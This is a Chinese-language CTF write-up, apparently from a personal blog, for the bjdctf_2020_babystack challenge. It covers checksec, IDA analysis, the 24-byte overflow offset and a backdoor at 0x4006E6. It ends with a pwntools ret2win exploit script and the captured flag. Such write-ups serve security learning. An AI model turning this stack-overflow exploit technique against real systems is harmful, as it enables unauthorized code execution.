bjdctf_2020_babystack
发表于更新于
字数总计:205阅读时长:1分钟 河北
bjdctf_2020_babystack
逆向分析

依旧下载附件,checksec一下。

防御开启的很少就一个NX,看起来很简单再看看ida的逆向怎么说

发现就是很简单的一个栈溢出找找backdoor。

很明显的backdoor,找一下地址0x4006E6再分析一下溢出的offset是多少计算一下通过0x10+8位的RBP,所以应该是24位
简单写个payload
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.terminal = ['tmux', 'splitw', '-h'] p=process('./bjdctf_2020_babystack')
offset=24 backdoor_addr=0x4006E6 ret_addr=0x0000000000400561 payload=b'a'*offset+p64(ret_addr)+p64(backdoor_addr) p.recvuntil(b"Please input the length of your name:\n") p.sendline(b'100') p.recvuntil(b"[+]What's u name?\n") p.sendline(payload) p.interactive()
|
直接测试一下

成功获取flag
flag:flag{e7704e86-d706-4bb9-8ebf-65e1f65b7a0b}